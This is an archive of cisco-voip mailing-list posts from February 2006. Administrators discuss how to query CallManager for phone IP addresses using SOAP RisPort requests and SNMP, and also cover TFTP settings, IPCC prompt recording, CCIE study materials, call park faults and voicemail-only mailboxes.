From Alexander.Wolf at world-direct.at  Wed Feb  1 01:39:36 2006
From: Alexander.Wolf at world-direct.at (Alexander Wolf)
Date: Wed Feb  1 01:39:47 2006
Subject: [cisco-voip] Retrieving device information from CISCO
Message-ID: <29E7A2E61B0FCC488E78EDA3E79313ABD61D92@www>

Hi !

I use a generated .NET Proxy-Class to retrieve the information (in contrast to the AXL provisioning API the MS wsdl tool generates code from the servicability API without problems).
I traced the request from my application with Fiddler.
Be aware that the request is generated by an autogenerated class, the "xsi:type"-Attributes my be not neccesary.
As you can see I choose the SessionId as {Host}-{Timestamp}, to create something unique. Not sure if that's the proper way, but it works.

-------------------- Begin Trace -----------------------------------

The Request:

POST /soap/astsvc.dll HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 1.0.3705.0)
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://schemas.cisco.com/ast/soap/action/#RisPort#SelectCmDevice"
Authorization: Basic XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Length: 1297
Expect: 100-continue
Host: 10.1.1.18

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://schemas.cisco.com/ast/soap/" xmlns:types="http://schemas.cisco.com/ast/soap/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
	<soap:Header>
		<tns:AstHeader id="id1">
			<SessionId xsi:type="xsd:string">10.1.1.18-2006-02-01T07:16:21</SessionId>
		</tns:AstHeader>
	</soap:Header>
	<soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
		<tns:SelectCmDevice>
			<CmSelectionCriteria href="#id1"/>
		</tns:SelectCmDevice>
		<tns:CmSelectionCriteria id="id1" xsi:type="tns:CmSelectionCriteria">
			<MaxReturnedDevices xsi:type="xsd:unsignedInt">4294967295</MaxReturnedDevices>
			<Class xsi:type="tns:DeviceClass">Phone</Class>
			<Model xsi:type="xsd:unsignedInt">0</Model>
			<Status xsi:type="tns:CmDevRegStat">Any</Status>
			<SelectBy xsi:type="tns:CmSelectBy">Name</SelectBy>
			<SelectItems href="#id2"/>
		</tns:CmSelectionCriteria>
		<soapenc:Array id="id2" soapenc:arrayType="tns:SelectItem[1]">
			<Item href="#id3"/>
		</soapenc:Array>
		<tns:SelectItem id="id3" xsi:type="tns:SelectItem">
			<Item xsi:type="xsd:string">SEP0015632CE38B</Item>
		</tns:SelectItem>
	</soap:Body>
</soap:Envelope>

The Response:
<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
	<SOAP-ENV:Body>
		<m:SelectCmDeviceResponse xmlns:m="http://schemas.cisco.com/ast/soap/">
			<SelectCmDeviceResult>
				<TotalDevicesFound>1</TotalDevicesFound>
				<CmNodes SOAP-ENC:arrayType="m:CmNode[]">
					<CmNode>
						<ReturnCode>Ok</ReturnCode>
						<Name>10.1.1.18</Name>
						<NoChange>0</NoChange>
						<CmDevices SOAP-ENC:arrayType="m:CmDevice[]">
							<CmDevice>
								<Name>SEP0015632CE38B</Name>
								<IpAddress>10.1.1.188</IpAddress>
								<DirNumber>300,240</DirNumber>
								<Class>Phone</Class>
								<Model>7</Model>
								<Product>35</Product>
								<BoxProduct>0</BoxProduct>
								<Httpd>Yes</Httpd>
								<RegistrationAttempts>0</RegistrationAttempts>
								<IsCtiControllable>1</IsCtiControllable>
								<LoginUserId>test at VSCCM12</LoginUserId>
								<Status>Registered</Status>
								<StatusReason>0</StatusReason>
								<PerfMonObject>2</PerfMonObject>
								<DChannel>0</DChannel>
								<Description>7960 II</Description>
								<H323Trunk/>
								<TimeStamp>1138717339</TimeStamp>
							</CmDevice>
						</CmDevices>
					</CmNode>
				</CmNodes>
			</SelectCmDeviceResult>
			<StateInfo>&lt;StateInfo ClusterWide=&quot;1&quot;&gt;&lt;Node Name=&quot;10.1.1.18&quot; SubsystemStartTime=&quot;1138012525&quot; StateId=&quot;64&quot; TotalItemsFound=&quot;1&quot; TotalItemsReturned=&quot;1&quot;/&gt;&lt;/StateInfo&gt;</StateInfo>
		</m:SelectCmDeviceResponse>
	</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

-------------------- End Trace ----------------------------------- 

Hope that helps.

Regards,
Alex



> -----Urspr?ngliche Nachricht-----
> Von: cisco-voip-bounces at puck.nether.net 
> [mailto:cisco-voip-bounces at puck.nether.net] Im Auftrag von 
> Andrea Cerioli
> Gesendet: Dienstag, 31. J?nner 2006 23:02
> An: cisco-voip at puck.nether.net
> Betreff: Re: [cisco-voip] Retrieving device information from CISCO
> 
> OK, I've implemented a simple system using SNMP to retrieve 
> the full phone table and direct connections to IP phones 
> verify that stored data are still current.
> The snmp query on a cluster of 3 nodes takes about 60 seconds 
> (about 1000 phones).
> 
> It works but I really don't like it very much since I still 
> have to get the full table via snmp.
> Retrieving a single phone is only possible if you know the 
> snmp index of the phone, but since I only have the MAC 
> address, I still need to search the full table of MAC 
> addresses to retrieve this index (based on the MAC) and get 
> the IP address with a single query.
> Thus, I need an snmpwalk plus an snmpget, at least.
> 
> Do I miss something?
> 
> A better solution would be via AXL Serviceability, as 
> suggested by Alex Wolf, but I'm being quite puzzled looking 
> at the documentation and I did not manage to build a valid 
> query to date (invalid request).
> A real sample code for a RisPort query for a single phone 
> will be very appreciated.
> 
> Thansk all for your help.
> 
> Andrea.
> 
> Wes Sisk wrote:
> > Yes, SNMP works great with 4.1(3)sr2.  My phone happens to 
> be instance
> > 13 so:
> > 
> > [wsisk at ws-fc snmp]$ snmpwalk -Os -c public -v 1 172.18.110.96
> > .1.3.6.1.4.1.9.9.156.1.2.1.1.15.13
> > enterprises.9.9.156.1.2.1.1.15.13 = IpAddress: 14.48.40.131 
> > [wsisk at ws-fc snmp]$ snmpwalk -Os -c public -v 1 172.18.110.96
> > .1.3.6.1.4.1.9.9.156.1.2.1.1.14.13
> > enterprises.9.9.156.1.2.1.1.14.13 = INTEGER: 1 [wsisk at ws-fc snmp]$ 
> > snmpwalk -Os -c public -v 1 172.18.110.96
> > .1.3.6.1.4.1.9.9.156.1.2.1.1.2.13
> > enterprises.9.9.156.1.2.1.1.2.13 = Hex-STRING: 00 0A 41 F9 7C C4
> > 
> > 000A.41F9.7CC4 is the MAC address of my phone.
> > 
> > /Wes
> > 
> > Wes Sisk wrote:
> > 
> >>As this is such a frequently asked question and 
> devicelistx.asp has a 
> >>finite future,  I will test as soon as I get a few minutes.  My 
> >>initial sources say:
> >>
> >>SNMP MIB
> >>ccmPhoneInetAddress -  .1.3.6.1.4.1.9.9.156.1.2.1.1.15 
> >>ccmPhoneInetAddressType -  .1.3.6.1.4.1.9.9.156.1.2.1.1.14
> >>
> >>AXL
> >>request string - listPhoneByName
> >>parameter - searchstring %
> >>
> >>/Wes
> >>
> >>On Jan 28, 2006, at 9:56 AM, Seth Call wrote:
> >>
> >>For real-time reg info, dlx is the only way.
> >>
> >>You could also use JTAPI to monitor the device, but that's 
> obviously 
> >>pretty heavy, depending on how many phones we are talking about.
> >>
> >>-----Original Message-----
> >>From: cisco-voip-bounces at puck.nether.net
> >>[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Andrea 
> >>Cerioli
> >>Sent: Saturday, January 28, 2006 4:10 AM
> >>To: Justin Steinberg
> >>Cc: cisco-voip at puck.nether.net
> >>Subject: Re: [cisco-voip] Retrieving device information from CISCO
> >>
> >>
> >>Thanks all for the useful hints.
> >>This saved us a lot of time.
> >>
> >>I just have a last question.
> >>
> >>I've reviewed the sample application in the SDK, and it uses 
> >>DeviceListX.asp.
> >>i.e. to retrieve the IP address of a phone, it gets the 
> complete list, 
> >>loads it in a vector, then searches the phone name to 
> extract the IP 
> >>address.
> >>This looks to be the only way to do this.
> >>
> >>Unfortunately this way can be quite heavvy if you need to query the 
> >>resident http server of hundreds, or even thousands of IP Phones 
> >>independently from each other.
> >>However we can "optimize" getting the list once per a time 
> interval, 
> >>but is still an overhead and prevent us from working 
> asynchronously, I 
> >>mean we will need to build a synchronous application that 
> will batch 
> >>al operations at fixed time intervals, then get the current list at 
> >>that time, perform all batched operations, and the sleeps for next 
> >>time interval.
> >>Not very nice IMHO, but looks to be the only way out.
> >>
> >>I would have expected a smarter API, something like 
> >>GetIPPhoneRegInfoByName, using the SEP name to retrieve 
> registration 
> >>info of the phone from the callmanager.
> >>This would be a natural complement of the DeviceListX.asp report.
> >>
> >>Is there any way, perhaps undocumented, to obtain 
> regstration info for 
> >>a single IP phone at a time, or are we bound to retrieving the 
> >>complete list?
> >>
> >>Thanks in advance for your comments.
> >>
> >>Andrea
> >>
> >>Justin Steinberg wrote:
> >>  
> >>
> >>>Andrea,
> >>>
> >>>You should download the IP Phone Services SDK for ccm 
> 4.1(3).   There
> >>>is quite a few example applications that run on asp and 
> some that run
> >>>on jsp.   I've played around with several and know that 
> some have code
> >>>that query's for the phone IP.  I know the Push2Phone app 
> query's for 
> >>>IP in order to push the xml post to the phone's IP address.
> >>>
> >>>
> >>>    
> >>
> >>http://www.cisco.com/en/US/products/sw/voicesw/ps556/product
> s_programm
> >>in g_reference_guide_chapter09186a0080405759.html
> >>  
> >>
> >>>Justin
> >>>
> >>>
> >>>
> >>>    
> >>>
> >>>>Date: Thu, 26 Jan 2006 22:03:09 +0100
> >>>>From: Andrea Cerioli <cerioli at alternet.it>
> >>>>Subject: Re: [cisco-voip] Retrieving device information from CISCO
> >>>>      CallManager
> >>>>To: cisco-voip at puck.nether.net
> >>>>Message-ID: <43D9390D.7010807 at alternet.it>
> >>>>Content-Type: text/plain; charset=us-ascii; format=flowed
> >>>>
> >>>>Thanks to all for your support.
> >>>>The very ugly way is not for us, and SNMP does not return 
> this info 
> >>>>since ccmPhoneInfo.ccmPhoneTable.ccmPhoneEntry.ccmPhoneIpAddress
> >>>>looks to be always empty.
> >>>>
> >>>>THe supported SOAP interface is the one we investigated, but 
> >>>>although we are using 4.1(3) we could not find the right 
> query to do.
> >>>>We manage to extract any sort of info but not the IP address.
> >>>>
> >>>>Perhaps we don't have the greatest and latest documentation.
> >>>>Can you please point us to the right query?
> >>>>
> >>>>Thanks in advance for any further help.
> >>>>
> >>>>Andrea.
> >>>>Wes Sisk wrote:
> >>>>
> >>>>      
> >>>>
> >>>>>There are several versions of SOAP.  In CallManager 
> 4.1(3) there is 
> >>>>>a new SOAP interface that includes device registered status.
> >>>>>
> >>>>>In older versions the file
> >>>>>        
> >>
> >>http://<ip>/CCMAdmin/reports/DeviceListX.asp
> >>  
> >>
> >>>>>provides a list of almost all devices (7902/05/12, ATA, and a few
> >>>>>        
> >>
> >>other
> >>  
> >>
> >>>>>devices excluded), their registration status, and IP.
> >>>>>
> >>>>>The very ugly way to retrieve the data is via unofficial 
> >>>>>unsupported mmfspy from cmd prompt on the CM server.
> >>>>>
> >>>>>The AXL/SOAP interface is the officially supported interface for 
> >>>>>all versions going forward.
> >>>>>
> >>>>>/Wes
> >>>>>
> >>>>>Andrea Cerioli wrote:
> >>>>>
> >>>>>
> >>>>>        
> >>>>>
> >>>>>>We are writing an application that need to query the 
> CallManager 
> >>>>>>to obtain the list of registered Phones, including current IP
> >>>>>>          
> >>
> >>address
> >>  
> >>
> >>>>>>for each phone.
> >>>>>>
> >>>>>>We have tried with AXL SOAP interface, and also looked 
> into the DC 
> >>>>>>directory and the SQL database, but we couldn't find this 
> >>>>>>information.
> >>>>>>We obtained plenty of information about phones, but not their IP
> >>>>>>          
> >>
> >>address.
> >>  
> >>
> >>>>>>The information must be there, since it is there in the 
> web based 
> >>>>>>administration interface ...
> >>>>>>
> >>>>>>This is driving us mad.
> >>>>>>Where are we wrong?
> >>>>>>Do we miss the right documentation? (we use the 
> publicly available
> >>>>>>          
> >>
> >>docs
> >>  
> >>
> >>>>>>on AXL SOAP from the CISCO web site).
> >>>>>>
> >>>>>>Thanks for any help (or direction to the proper place 
> to ask this 
> >>>>>>question).
> >>>>>>
> >>>>>>
> >>>>>>          
> >>>>
> >>>>--
> >>>>| Andrea Cerioli               alter.net Srl              |
> >>>>| e-mail: cerioli at alter.it     Via Attilio Ambrosini, 177 |
> >>>>| VOICE: +39-6-5405740         I-00147 Rome               |
> >>>>| FAX:   +39-6-5405883         Italy                      |
> >>>>
> >>>>
> >>>>
> >>>>      
> >>
> >>  
> > 
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> -- 
> | Andrea Cerioli               alter.net Srl              |
> | e-mail: cerioli at alter.it     Via Attilio Ambrosini, 177 |
> | VOICE: +39-6-5405740         I-00147 Rome               |
> | FAX:   +39-6-5405883         Italy                      |
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


From wsisk at cisco.com  Wed Feb  1 01:42:14 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb  1 01:43:36 2006
Subject: [cisco-voip] Catalyst 6608 T1 module
In-Reply-To: <1AF386D5BB98C240A1876235AA12867632BB61@USILMS13.ca.com>
References: <1AF386D5BB98C240A1876235AA12867632BB61@USILMS13.ca.com>
Message-ID: <2AC4FC96-73BC-43DF-ACA8-F61069953317@cisco.com>

not possible with static config.  CSCea68405.
only option is DHCP.

/Wes
On Jan 31, 2006, at 5:03 PM, Mendoza, Anthony R wrote:

All,

Is there a way to assign multiple TFTP servers in a config on a 6608  
when running CatOS and not using DHCP?  I find when I'm going a  
static IP configuration that I can only assign a single TFTP server  
which doesn't give me much failover in a situation where I lose a CCM  
and for some reason the device resets (such as a power outage).  I'd  
be forced to go re-configure it in order to receive it's  
configuration.  Any way around that hassle?

Thanks,
-Anthony
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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From Nesenk at kss.co.za  Wed Feb  1 02:54:12 2006
From: Nesenk at kss.co.za (Nesen Kisten)
Date: Wed Feb  1 02:54:36 2006
Subject: [cisco-voip] IPCC Express - Record a Play Prompt
Message-ID: <3E110434E2419D47883D119DD226ACA1E60D74@kss-jhb-exch-01.kss.co.za>

HI,

 

You can record your own prompt with a mic, but remember to change your
wav file from PCM to u-law g711, you probably need an audio converter if
you don't have one already.

 

Regards

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ed Leatherman
Sent: Thursday, January 19, 2006 6:05 PM
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] IPCC Express - Record a Play Prompt

 

I believe there is a script you can set up that will let you record up
to 10 prompts on the IPCC system directly. We used one in training to
record some prompts, but i'm a little fuzzy on where it came from. So
you'd probably just set up a trigger/application etc to use for it while
you need it and point it at that script. I'm working on getting a test
system setup now for our own use, if I can locate it i'll pass it along.
Might be one of the built in ones.

On 1/19/06, Nick Kassel <Nick.Kassel at charles-stanley.co.uk > wrote:

I am new to IPCC Express and I now have it set up in our lab, using the
basic icd.aef script, what I would like to do though is record my own
play prompt and amend the script to play this. I cannot see how to
record my own prompt though, how is this done do I record it through a
handset or do I need a microphone or similar.

 

 

 


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From lohnert at gmail.com  Wed Feb  1 03:22:53 2006
From: lohnert at gmail.com (Martin Lohnert)
Date: Wed Feb  1 03:22:56 2006
Subject: [cisco-voip] CCIE VOICE WORKBOOK
In-Reply-To: <20060201023950.M27917@netxar.com>
References: <a749d0620601311735x54d00603k4f01d0fb3554c272@mail.gmail.com>
	<001801c626d1$43a2c940$6401a8c0@waynelaptop>
	<20060201023950.M27917@netxar.com>
Message-ID: <1bfd8b6f0602010022y2d33c925q5be9df2b8dbccd3e@mail.gmail.com>

*CCIE Voice Exam Updates*

25 JAN 2006: Effective July 17, 2006 all CCIE Voice lab locations will begin
introducing Cisco Unity Express Network Module (NM-CUE) into the exam racks.
Along with the NM-CUE introduction, the lab will also be upgrading to IOS
version 12.4 (3a) and the equipment software to the following versions:
* Cisco CallManager 4.1 (3) with latest SR
* Cisco Unity 4.0 (5)
* Cisco Unity Express 2.1 (2)
* Cisco Customer Response Server /IP Contact Center Express 4.0 (1)

All CCIE Voice candidates taking exams July 17, 2006 or later should be
familiar with the updated IOS, software and equipment, although the
installations will take place over several weeks and it is possible some
candidates may not see the new software and equipment in their exams. For
more information regarding these changes see Voice Lab Equipment and IOS
Version<http://www.cisco.com/web/learning/le3/ccie/voice/lab_equipment.html>.



On 2/1/06, Jose Mujica <jose.mujica at netxar.com> wrote:
>
> Which changes Kris? The NO ATM part? Any other change?
>
> I was thinking of buying the IPExpert Voice Workbook in order to took the
> exam maybe at the end of april or probably may-june... but if there is a new
> one coming then what you recommend.. I think ATM is the only thing gone from
> the exam.. Am I right?
>
> -JJ*
>
>
> On Tue, 31 Jan 2006 20:46:04 -0500, Wayne Lawson | IPexpert, Inc. wrote*
> > Kris ?
> >
> >      You are correct ? we are now on Version 3.0 which is built 100%
> around the Proctor Labs topology (www.proctorlabs.com).  4.0 will be
> released in May ? which will include the recent changes just announced.
> >
> >
> > Thank you for choosing IPexpert!,
> > Wayne A. Lawson II
> > Founder, President & CCIE #5244 - IPexpert, Inc.
> > "When Will You Be an IP Expert?!"
> > // Toll Free: +1.866.225.8064
> > // Outside U.S. & Canada: +1.810.326.1444 x 601
> > // eFax: +1.810.454.0130
> > // Personal Mobile: +1.810.434.4801
> > :: Live Chat: http://www.ipexpert.com/chat
> > :: Mailto: wayne at ipexpert.com
> > :: URL: http://www.IPexpert.com <http://www.ipexpert.com/>
> > :: vRack Partner: http://www.ProctorLabs.com<http://www.proctorlabs.com/>
> > :: Support Forum: http://www.CertificationTalk.com<http://www.certificationtalk.com/>
> > :: Mailing List: http://www.OnlineStudyList.com<http://www.onlinestudylist.com/>
> >
> > "IPexpert, Inc. - The Clear Industry Leader in Self-Paced,
> Classroom-Based, (Online) Distance Training, Online vRack Rental,
> Video-on-Demand and Audio Certification Training Tools for the Cisco CCVP,
> CCIE R&S, Security, SP and Voice Labs!"
> >
> >
> ------------------------------
>
> > *From:* cisco-voip-bounces at puck.nether.net [mailto:
> cisco-voip-bounces at puck.nether.net] *On Behalf Of *Kris Seraphine
> > *Sent:* Tuesday, January 31, 2006 8:36 PM
> > *To:* Jose Mujica
> > *Cc:* cisco-voip at puck.nether.net
> > *Subject:* Re: [cisco-voip] CCIE VOICE WORKBOOK
> >
> > I used the IPExpert workbook version 1 to prepare and was pretty happy
> with it.  The only problem was fhe workbook topology was different from
> their online lab.  I think they have a newer version now; which I assume
> fixes that problem.
> >
> > On 1/31/06, *Jose Mujica* <jose.mujica at netxar.com> wrote:
> >
> > Hi..
> >
> > Which CCIE Voice Workbook do you guys recommend and/or using in order to
>
> > prepare for the CCIE Voice lab?
> >
> > -JJ
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
> >
>
> > --
> > kris seraphine
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From Nick.Kassel at Charles-Stanley.co.uk  Wed Feb  1 06:57:17 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Wed Feb  1 07:00:43 2006
Subject: [cisco-voip] Call Park Issue due to subscriber failing
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC6481C2@CSEXCH01.charles-stanley.co.uk>

Yesterday evening we had a hardware failure with one of our subscribers,
this particular sub has all of our remote sites registered to it, it was
down for about 5 hours and in the mean time we had all phones working
off another subscriber, once we had the subscriber back up and running,
all appeared to be fine. But we now have an issue with call park, each
site has call park numbers associated to each call manager and if they
park a call they get a call park number but this does not appear on the
display for a few seconds and they are unable to retrieve that call by
dialling the park number they get the call can not be completed prompt.
Any one come across this before?

 

 

***********************************************************************************************

The information contained in this e-mail is strictly confidential, some or all
of which may be legally privileged. It is for the intended recipient only.
Access to this e-mail by any other person is prohibited. If you are not the
intended recipient, any use, disclosure, copying, printing, distribution of,
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should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the time the
recipient(s) accesses them and that delivery receipt does not constitute
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may be a delay in processing the instructions received from e-mails after
Charles Stanley has received them. You are advised that urgent, time sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
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Options Exchange.

This footnote also confirms that this email message has been swept by McAfee
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From CORTIZ at broward.org  Wed Feb  1 09:17:44 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Wed Feb  1 09:17:52 2006
Subject: [cisco-voip] Voice Mail only Boxes
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2D0C@MREXVS01.bc.broward.cty>

I talked to my account team and it doesn't seem possible yet on the
Unity Box.  I did however come up with another idea that my SE said
should be fine.  I think I am going to buy a CUE module and install it
on a 3725 at HQ.  Then I can provide VM only mailboxes (crisis, after
hours)where needed.  This would also help with providing mailboxes to
non employees if they need it (auditors, contractors). 



-----Original Message-----
From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Tuesday, January 31, 2006 4:54 PM
To: Ortiz, Carlos
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Voice Mail only Boxes

Preach it brother!!!!!!!!!!!!!!!!!


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ortiz, Carlos
Sent: Tuesday, January 31, 2006 8:57 AM
To: Ryan Ratliff
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Voice Mail only Boxes

Yes, but with a VM only system the accounts are local to the Unity Box
correct?  I am basically wondering if there is a way to exploit that to
serve this purpose. I understand that the VM only requires a different
local setup, but it would be nice if this would be addressed because
quite frankly UM is not needed for every VM box. If you could have a 100
of these "service" type mailboxes it would be nice.  It wasn't a big
deal at first, but we probably have about 12-15 of these accounts now.
We are currently about 15-20% IPT so I see this number rising as IPT
expansion continues....

Carlos

-----Original Message-----
From: Ryan Ratliff [mailto:rratliff at cisco.com] 
Sent: Tuesday, January 31, 2006 11:49 AM
To: Ortiz, Carlos
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Voice Mail only Boxes

Remember even with a non UM system you still have an AD Account and  
mailbox for each subscriber.  The only real difference between  
voicemail only and UM is whether the user gets email in the same  
mailbox that they get voicemail.

Unity does have a thing called internet subscriber.   This is  
basically an email address that Unity will forward all voicemails  
to.  An internet subscriber cannot listen to VMs via the TUI (afaik)  
and do not count against the subscriber license count.

-Ryan

On Jan 31, 2006, at 11:12 AM, Ortiz, Carlos wrote:

We have a Unity 4.05 Unified Messaging system.  I frequently have the  
need to create Voice Mail only boxes (After hours, Crisis, etc).   Is  
there anyway to do this without create an AD/Exchange user?



Carlos

_______________________________________________
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cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
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cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From cerioli at alternet.it  Wed Feb  1 10:00:39 2006
From: cerioli at alternet.it (Andrea Cerioli)
Date: Wed Feb  1 10:00:59 2006
Subject: [cisco-voip] Retrieving device information from CISCO
In-Reply-To: <43E073D5.5020905@alternet.it>
References: <43E073D5.5020905@alternet.it>
Message-ID: <43E0CD17.1080006@alternet.it>

Thanks to Alex for the code.
Unfortunately it is not working for us.
Our Callmanager is 4.1(3).

See below our version of the AXL query and the response.
The error is:
"Operation name in body entry is not consistent with the
  one specified in SOAPAction"

Removing the header "Connection: close" the query lasts forever.


What am I missing?

Query
================================

POST /soap/astsvc.dll HTTP/1.1
Host: 10.89.5.2
User-Agent: Mozilla/4.0
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://schemas.cisco.com/ast/soap/action/#RisPort#SelectCmDevices"
Authorization: Basic =============================
Content-Length: 1514
Expect: 100-continue
Connection: close



<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:tns="http://schemas.cisco.com/ast/soap/"
xmlns:types="http://schemas.cisco.com/ast/soap/encodedTypes"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
     <soap:Header>
          <tns:AstHeader id="id1">
               <SessionId
xsi:type="xsd:string">10.89.5.2-20060201020721</SessionId>
          </tns:AstHeader>
     </soap:Header>
     <soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
          <tns:SelectCmDevice>
               <CmSelectionCriteria href="#id1"/>
          </tns:SelectCmDevice>
          <tns:CmSelectionCriteria id="id1" xsi:type="tns:CmSelectionCriteria">
               <MaxReturnedDevices
xsi:type="xsd:unsignedInt">10</MaxReturnedDevices>
               <Class xsi:type="tns:DeviceClass">Phone</Class>
               <Model xsi:type="xsd:unsignedInt">0</Model>
               <Status xsi:type="tns:CmDevRegStat">Any</Status>
               <SelectBy xsi:type="tns:CmSelectBy">Name</SelectBy>
               <SelectItems href="#id2"/>
          </tns:CmSelectionCriteria>
          <soapenc:Array id="id2" soapenc:arrayType="tns:SelectItem[1]">
               <Item href="#id3"/>
          </soapenc:Array>
          <tns:SelectItem id="id3" xsi:type="tns:SelectItem">
               <Item xsi:type="xsd:string">SEP000D29CEC9A0</Item>
          </tns:SelectItem>
     </soap:Body>
</soap:Envelope>



Response:
================================

HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Wed, 01 Feb 2006 14:05:32 GMT

HTTP/1.1 500 ERROR
Server: Microsoft-IIS/5.0
Date: Wed, 01 Feb 2006 14:05:32 GMT
Connection: close
X-Application: XXX
Expires: Sat, 1 Jan 2000 00:00:01 GMT
Cache-Control: No-Cache
Pragma: No-Cache
Connection: Keep-Alive
Content-Type: text/xml; charset="utf-8"
Content-Length: 1002

<?xml version="1.0" encoding="UTF-8" standalone="no"?><SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Client</faultcode><faultstring>Operation
name in body entry is not consistent with the one specified in SOAPAction
header</faultstring><detail><m:ErrorInfo
xmlns:m="http://schemas.cisco.com/ast/soap/"><Version>3.2.0.7</Version><Time>02/01/2006
-
15:05:32</Time><ProcId>2016</ProcId><ThreadId>1928</ThreadId><ArrayOfCallInfo
SOAP-ENC:arrayType='m:CallInfoType[]'><CallInfo><FileName>D:\Builds\ESBUILD_4.1.3.sr.2\ccm_sw\Projects\AST\ISAPI\server\soap\service\astsvc\astsvc.cpp</FileName><LineNo>422</LineNo><ErrorCode>0</ErrorCode><Function>lstrcmp</Function><Params>SelectCmDevice</Params></CallInfo></ArrayOfCallInfo></m:ErrorInfo></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>





From CORTIZ at broward.org  Wed Feb  1 10:17:46 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Wed Feb  1 10:17:54 2006
Subject: [cisco-voip] Block Incoming Calls
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2D0F@MREXVS01.bc.broward.cty>

Is there an easy way to block INBOUND calls based on the calling number?
I imagine I could set this up with the telco but I would prefer to do it
if possible.....  

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From zzilakak at cisco.com  Wed Feb  1 10:20:51 2006
From: zzilakak at cisco.com (Zack Zilakakis (zzilakak))
Date: Wed Feb  1 10:21:03 2006
Subject: [cisco-voip] IPCC Express - Record a Play Prompt
Message-ID: <3E461BB921259141B8D244D10C1D331D3D7A6A@xmb-sjc-229.amer.cisco.com>

Hello,
 
I'd recommend a UNITY mailbox to record the prompts then upload them
from the Exchange/Unity server to the ICD server.  This will alot
clearer.
 
Thanks.

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Nesen Kisten
Sent: Wednesday, February 01, 2006 1:54 AM
To: Ed Leatherman; Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] IPCC Express - Record a Play Prompt



HI,

 

You can record your own prompt with a mic, but remember to change your
wav file from PCM to u-law g711, you probably need an audio converter if
you don't have one already.

 

Regards

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ed Leatherman
Sent: Thursday, January 19, 2006 6:05 PM
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] IPCC Express - Record a Play Prompt

 

I believe there is a script you can set up that will let you record up
to 10 prompts on the IPCC system directly. We used one in training to
record some prompts, but i'm a little fuzzy on where it came from. So
you'd probably just set up a trigger/application etc to use for it while
you need it and point it at that script. I'm working on getting a test
system setup now for our own use, if I can locate it i'll pass it along.
Might be one of the built in ones.

